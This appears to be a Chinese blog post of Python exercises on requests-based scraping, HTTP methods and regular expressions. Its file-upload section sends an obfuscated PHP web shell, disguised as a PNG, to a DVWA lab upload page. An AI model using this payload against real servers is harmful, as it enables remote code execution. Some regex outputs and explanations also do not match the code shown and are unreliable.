python-爬虫、requests、正则练习

1.1 使用了 requests 模块来发送网络请求并获取网页的源代码

# 导入requests模块
import requests
#网页链接
url ="http://www.mobiletrain.org/?pinzhuanbdtg=biaoti"
# 定义了一个名为get_html()函数,并传递了你想获取的网页URL作为参数,且将获取到的内容赋值给变量html。
def get_html(url):
    res= requests.get(url= url)
    return res.content
# 之后,你调用了 get_html() 函数,并传递了你想要获取的网页的 URL 作为参数,并将获取到的内容赋值给变量 html。
html= get_html(url = url)
#使用decode()方法将网页内容从字节型解码为UTF-8编码的字符串,并将其打印。
print(html.decode("utf8"))

1.2 使用了 requests 模块来发送网络请求并获取网页的图片

for i in range(1, 61):

web_url = f"https://pic.netbian.com/4kmeinv/index_{i}.html"

print(“获取源码”)

pagesource = get_html(web_url)

print(“获取图片链接”)

img_onepath = get_img_path(pagesource, img_url)

print(f"正在保存第====================={i}=====================页图片")

save_imgtofile(img_onepath)

解析:
当您运行上述代码时,它将从https://pic.netbian.com/网站上的多个页面中获取图片链接,并将这些链接保存为变量`img_onepath`中的列表。然后,程序将使用`requests.get()`方法下载每个图片,并将其保存到指定目录下。

让我们逐步分析代码:

首先,您定义了一个img_url变量,用于指定网站的URL:img_url = "https://pic.netbian.com/"。

get_html函数用于获取网页源代码。它使用requests.get()方法发送GET请求,并返回响应的文本内容作为网页源码:

python
def get_html(web_url):
    response = requests.get(url=web_url)
    return response.text
get_img_path函数用于在网页源码中提取图片链接。它使用正则表达式re.findall()来搜索匹配特定模式的字符串,此处是图片路径。然后,它遍历找到的路径,将其与图片网站的URL拼接,并将结果保存在列表img_onepath中:
python
def get_img_path(pagesource, img_url):
    img_onepath = re.findall(r"uploads/allimg/[0-9]*/[0-9]*-[0-9a-z]*\.jpg", pagesource)
    for i in range(0, len(img_onepath)):
        img_onepath[i] = img_url + img_onepath[i]
    return img_onepath
save_imgtofile函数用于将图片下载并保存到指定目录。它使用requests.get()方法下载每个图片,并将其保存为带有时间戳作为文件名的.jpg文件:
python
def save_imgtofile(img_onepath):
    for i in range(len(img_onepath)):
        res = requests.get(img_onepath[i])
        print(f"正在下载第{i+1}张图片")
        save_img = f"C:/Users/Lenovo/Desktop/sqlmap/图片/{time.time()}.jpg"
        with open(save_img, "wb") as f:
            f.write(res.content)
最后,通过循环遍历处理多个页面。首先构建每个页面的URL,然后调用get_html函数获取源码,接着调用get_img_path函数获取图片链接,并最后调用save_imgtofile函数下载并保存图片:
python
for i in range(1, 61):
    web_url = f"https://pic.netbian.com/4kmeinv/index_{i}.html"
    print("获取源码")
    pagesource = get_html(web_url)
    print("获取图片链接")
    img_onepath = get_img_path(pagesource, img_url)
    print(f"正在保存第{i}页图片")
    save_imgtofile(img_onepath)

2. requests 模块高级用法练习

  1. 模拟浏览器指纹

    import requests #导入request模块
    url="http://www.baidu.com"  #定 义 url
    headers ={    #定义请求头
    'Date': 'Wed, 20 Sep 2023 13:12:48 GMT', 'Server': 'Apache/2.4.23 (Win32)OpenSSL/1.0.2j PHP/5.4.45',
    'X-Powered-By': 'PHP/5.4.45', 'Content-Length': '13',
    'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type':
    'text/html'}
    
    req=requests.session()        #设置session, 保 持 请 求 一 致 性
    res=req.get(url)              #访问url
    print(res.url)                #打印url
    print(res.headers)            #打印应答headers
    print(res.text)               #答应响应返回内容
    print(res.request.headers)    #打印请求头
    
  2. 发送get 请求

    #发送get请求
    import requests
    
    url = "http://wwww.baidu.com"
    # url = "http://10.4.7.130/php/array/get.php?username=AJEST&password=123456"
    
    headers = {
        "User-Agent":   "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
    }
    
    params = {
        "username": "AJEST",
        "password": "123456"
    }
    
    res = requests.get(url = url, headers = headers)
    print(res.text)
    
    当您运行这段代码时,它会发送一个 GET 请求到 http://wwww.baidu.com 这个网址,请求的头部信息中包含了 User-Agent,这是一个模拟浏览器的信息,用来告诉服务器我们使用的是 Firefox 83.0 浏览器。
    
    然后,使用 requests.get() 方法发送请求。这个方法接受三个参数:url,headers 和 params。其中,url 参数指定了要发送 GET 请求的目标地址;headers 参数包含了我们在请求头中希望设置的信息;params 参数是一个字典,包含了作为查询字符串的参数。
    
    由于在这段代码中,params 参数没有被添加到请求中,所以实际上并不会将用户名和密码发送给百度网址。
    
    请求发送后,可以通过返回的响应对象 res 来访问响应的内容。在这段代码中,使用 res.text 来获取响应的文本内容,并将其打印出来。
    
    请注意,在运行这段代码之前,确保已经安装了 requests 库,可以使用 pip install requests 命令进行安装。
    
  3. 发送post 请求

    #POST请求
    import requests
    
    url = "http://www.baidu.com"
    
    headers = {
        "User-Agent":   "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
    }
    
    data = {
        "username": "AJEST",
        "password": "123456"
    }
    
    res = requests.post(url = url, headers = headers, data = data)
    
    print(res.text)
    解析:这段代码发送了一个 POST 请求到 http://10.4.7.130/php/array/post.php 这个网址,并设置了请求的 headers 参数和 data 参数。然后通过 requests.post() 方法发送请求,并将返回的响应内容打印出来。
    
    这个 POST 请求携带了一个包含用户名和密码的数据体,使用的是 data 参数。在这个例子中,data 参数是一个字典,包含了键值对形式的用户名和密码数据。
    
    需要注意的是,请求头部信息中的 User-Agent 用于模拟浏览器的信息,告诉服务器我们使用的是 Firefox 83.0 浏览器。
    
    返回的响应对象 res 表示服务器返回的响应内容。在这段代码中,使用 res.text 获取响应的文本内容,并将其打印出来。
    
    请确保在运行这段代码之前,目标地址 http://10.4.7.130/php/array/post.php 是有效的,并且可以接收 POST 请求并返回响应。如果目标地址不存在或无法访问,将会抛出相关的异常。
    
  4. 文件上传

    解析
    这段代码发送了一个 POST 请求到 http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/ 这个网址,并设置了请求的 headers 参数、data 参数、files 参数,以及 allow_redirects 参数。
    
    headers 参数中包含了 User-Agent 和 Cookie 两个字段。User-Agent 用于模拟浏览器的信息,表示我们使用的是 Chrome 105.0.5195.102 浏览器;Cookie 表示我们已经登录了该网站,其中 security=low 表示安全级别为低,PHPSESSID 是会话 ID。
    
    data 参数是一个字典,包含了两个键值对。MAX_FILE_SIZE 表示最大文件大小为 100000 字节;Upload 表示点击上传按钮。
    
    files 参数是一个字典,包含了一个键值对,用于上传文件。其中,"uploaded" 是文件上传字段的名称,"3.php" 是上传的文件名,接下来是文件内容,这里是 PHP 代码;最后一个参数是文件的 MIME 类型,这里是 "image/png"。
    
    通过 requests.post() 方法发送请求,并将返回的响应对象赋值给 res 变量。
    
    这段代码还打印了响应的状态码和响应头部信息,分别使用 res.status_code 和 res.headers 进行输出。
    
    请确保在运行这段代码之前,目标地址 http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/ 是有效的,并且可以接收 POST 请求并返回响应。另外,如果上传的文件不是合法的图片文件,可能无法成功上传。
    

    代码

    import requests
    
    url = "http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/"
    
    headers = {
        "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Cookie":       "security=low; PHPSESSID=378olurk9upvuo9sspecnl46c2"
    }
    
    data = {
        "MAX_FILE_SIZE":    "100000",
        "Upload":           "Upload"
    }
    
    files = {
        "uploaded": ("3.php", 
            b"<?php $RIBo=create_function(str_rot13('$').chr(39330/342).chr(0x16a0d/0x343).str_rot13('z').chr(0xcd-0x68),base64_decode('ZQ==').chr(0x364-0x2ee).chr(01333-01172).str_rot13('y').base64_decode('KA==').chr(0xcd-0xa9).chr(0x14695/0x2d7).str_rot13('b').base64_decode('bQ==').chr(0xee4c/0x25c).base64_decode('KQ==').str_rot13(';'));$RIBo(base64_decode('MzAzM'.'DQyO0'.'BldkF'.'sKCRf'.''.chr(37230/438).base64_decode('RQ==').base64_decode('OQ==').str_rot13('G').base64_decode('Vg==').''.''.str_rot13('S').str_rot13('f').chr(0x355-0x322).str_rot13('A').str_rot13('m').''.'ddKTs'.'5MDkx'.'MjY7'.''));?>",
            "image/png")
    }
    
    res = requests.post(url = url, headers = headers, data = data, files = files, allow_redirects = False)
    
    print(res.status_code)
    print(res.headers) 
    
  5. 服务器超时

  6. 只返回响应头部

    #导入requests 库
    import requests
    # 定义变量url,指定访问的网站
    url = "http://www.baidu.com"
    #使用requests库的head方法发送一个HEAD请求到指定的url,并将返回的响应对象保存在response变量中。
    response =requests.head(url)
    #使用print函数打印出字符串"Status Code"
    print("Status Code:",response.status_code)
    #使用print函数打印出字符串Headers
    print("Headers:")
    #使用for循环遍历response,items(),items()方法返回头部信息的键值对(以元组形式),循环中的key和value分别代表头部字段名和字段值。
    for key,value in response.headers.items():
        print(key, ":", value)
    

3.正则练习

  #搜素字符带ood的字符
  re.findall("ood",s)
['ood', 'ood']
#搜素字符开头为fG的字符
 re.findall("[fG]ood",s)
['food', 'Good']
#搜素开头为a-z的字符
>>> re.findall("[a-z]ood",s)
['food']
#搜素开头为A-Z的字符
>>> re.findall("[A-Z]ood",s)
['Good']
#搜素开头为a-z,A-Z,0-9的字符
>>> re.findall("[0-9a-zA-Z]ood",s)
['food', 'Good']
#搜素带ood的字符
>>> re.findall(".ood",s)
['food', 'Good']
#以任意字符开头的单词 "food",或者单词 "Good",或者单词 "not"。使用括号将它们括起来可以确保它们被作为整体进行匹配。
>>> re.findall(".food|Good|not",s)
[' food', 'not', 'Good']
#搜素字符中带最少带1个最多带2个o的字符
>>> re.findall(".o{1,2}.",s)
['food', 'not', 'Good']
#代码 re.findall('o*', s) 用于在字符串 s 中查找连续出现零次或多次字母 "o" 的匹配项,并返回一个列表。
在正则表达式中,* 表示匹配前面的字符零次或多次。因此,'o*' 表示匹配连续出现零次或多次的字母 "o"
re.findall('o*',s)
# 正则表达式模式 'go{1,2}gle'。这个模式匹配以 "g" 开头,然后是 1 到 2 个 "o",最后是 "gle"。
>>> s = 'I like google not ggle goooogle and gogle'
# 匹配字符中任意单一字符
>>> re.findall(r"\w",s)
['I', 's', 'a', 'y', 'f', 'o', 'o', 'd', 'n', 'o', 't', 'G', 'o', 'o', 'd']
# 左邻第一个字符出现最少m次最多n 次
 re.findall(".o{1,2}.",s)
['food', 'not', 'Good']
# 左邻第一个字符出现0次或1次
 re.findall(".o?.",s)
['I ', 'sa', 'y ', 'foo', 'd ', 'not', ' G', 'ood']

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值